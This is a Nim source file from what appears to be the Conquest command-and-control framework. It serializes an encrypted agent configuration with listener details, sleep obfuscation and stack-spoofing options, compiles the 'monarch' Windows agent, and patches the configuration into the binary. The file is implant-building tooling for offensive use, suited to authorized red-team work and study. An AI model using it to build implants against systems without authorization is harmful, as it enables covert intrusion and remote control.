conquest/src/server/core/builder.nim

import terminal, strformat, strutils, sequtils, tables, system, osproc, streams, parsetoml

import ../globals
import ../core/logger
import ../db/database 
import ../../common/[types, utils, profile, serialize, crypto]

const PLACEHOLDER = "PLACEHOLDER"

proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: string, spoofStack: bool): seq[byte] = 
    
    var packer = Packer.init()

    # Add listener configuration
    # Variable length data is prefixed with a 4-byte length indicator

    # Listener configuration
    packer.add(string.toUuid(listener.listenerId))
    packer.addDataWithLengthPrefix(string.toBytes(listener.address))
    packer.add(uint32(listener.port))

    # Sleep settings
    packer.add(uint32(sleep))
    packer.add(uint8(parseEnum[SleepObfuscationTechnique](sleepTechnique.toUpperAscii())))
    packer.add(uint8(spoofStack))

    # Public key for key exchange
    packer.addData(cq.keyPair.publicKey)

    # C2 profile
    packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString()))

    let data = packer.pack() 
    packer.reset() 

    # Encrypt profile configuration data with a newly generated encryption key
    var aesKey = generateBytes(Key) 
    let iv = generateBytes(Iv)

    let (encData, gmac) = encrypt(aesKey, iv, data)

    # Add plaintext encryption material in front of the 
    packer.addData(aesKey)
    packer.addData(iv)
    packer.addData(gmac)
    packer.add(uint32(encData.len()))
    let encMaterial = packer.pack() 

    wipeKey(aesKey)

    cq.info("Profile configuration serialized.")
    return encMaterial & encData 

proc replaceAfterPrefix(content, prefix, value: string): string = 
    result = content.splitLines().mapIt(
        if it.startsWith(prefix):
            prefix & '"' & value & '"' 
        else: 
            it
    ).join("\n")
    
proc compile(cq: Conquest, placeholderLength: int): string = 
    
    let 
        configFile = fmt"{CONQUEST_ROOT}/src/agent/nim.cfg"  
        exeFile = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe" 
        agentBuildScript = fmt"{CONQUEST_ROOT}/src/agent/build.sh"    

    # Update conquest root directory in agent build script
    var buildScript = readFile(agentBuildScript).replaceAfterPrefix("CONQUEST_ROOT=", CONQUEST_ROOT)
    writeFile(agentBuildScript, buildScript)

    # Update placeholder and configuration values 
    let placeholder = PLACEHOLDER & "A".repeat(placeholderLength - (2 * len(PLACEHOLDER))) & PLACEHOLDER
    var config = readFile(configFile)
                    .replaceAfterPrefix("-d:CONFIGURATION=", placeholder)    
                    .replaceAfterPrefix("-o:", exeFile)
    writeFile(configFile, config)

    cq.info(fmt"Placeholder created ({placeholder.len()} bytes).")
    
    # Build agent by executing the ./build.sh script on the system.
    cq.info("Compiling agent.")
    
    try:
        # Using the startProcess function from the 'osproc' module, it is possible to retrieve the output as it is received, line-by-line instead of all at once
        let process = startProcess(agentBuildScript, options={poUsePath, poStdErrToStdOut})
        let outputStream = process.outputStream

        var line: string
        while outputStream.readLine(line):
            cq.output(line) 

        let exitCode = process.waitForExit()

        # Check if the build succeeded or not
        if exitCode == 0:
            cq.info("Agent payload generated successfully.")
            return exeFile
        else:
            cq.error("Build script exited with code ", $exitCode)
            return ""

    except CatchableError as err:
        cq.error("An error occurred: ", err.msg)
        return ""
    
proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): bool = 
    
    cq.info("Patching profile configuration into agent.")

    try: 
        var exeBytes = readFile(unpatchedExePath) 

        # Find placeholder 
        let placeholderPos = exeBytes.find(PLACEHOLDER) 
        if placeholderPos == -1: 
            raise newException(CatchableError, "Placeholder not found.")
        
        cq.info(fmt"Placeholder found at offset 0x{placeholderPos:08X}.")

        # Patch placeholder bytes
        for i, c in Bytes.toString(configuration): 
            exeBytes[placeholderPos + i] = c 

        writeFile(unpatchedExePath, exeBytes)
        cq.success(fmt"Agent payload patched successfully: {unpatchedExePath}.")

    except CatchableError as err:
        cq.error("An error occurred: ", err.msg) 
        return false

    return true 
    
# Agent generation 
proc agentBuild*(cq: Conquest, listener, sleepDelay: string, sleepTechnique: string, spoofStack: bool): bool {.discardable.} =

    # Verify that listener exists
    if not cq.dbListenerExists(listener.toUpperAscii): 
        cq.error(fmt"Listener {listener.toUpperAscii} does not exist.")
        return false

    let listener = cq.listeners[listener.toUpperAscii] 
    
    var config: seq[byte] 
    if sleepDelay.isEmptyOrWhitespace(): 
        # If no sleep value has been defined, take the default from the profile 
        config = cq.serializeConfiguration(listener, cq.profile.getInt("agent.sleep"), sleepTechnique, spoofStack)
    else: 
        config = cq.serializeConfiguration(listener, parseInt(sleepDelay), sleepTechnique, spoofStack)
    
    let unpatchedExePath = cq.compile(config.len)
    if unpatchedExePath.isEmptyOrWhitespace():
        return false

    if not cq.patch(unpatchedExePath, config): 
       return false 

    return true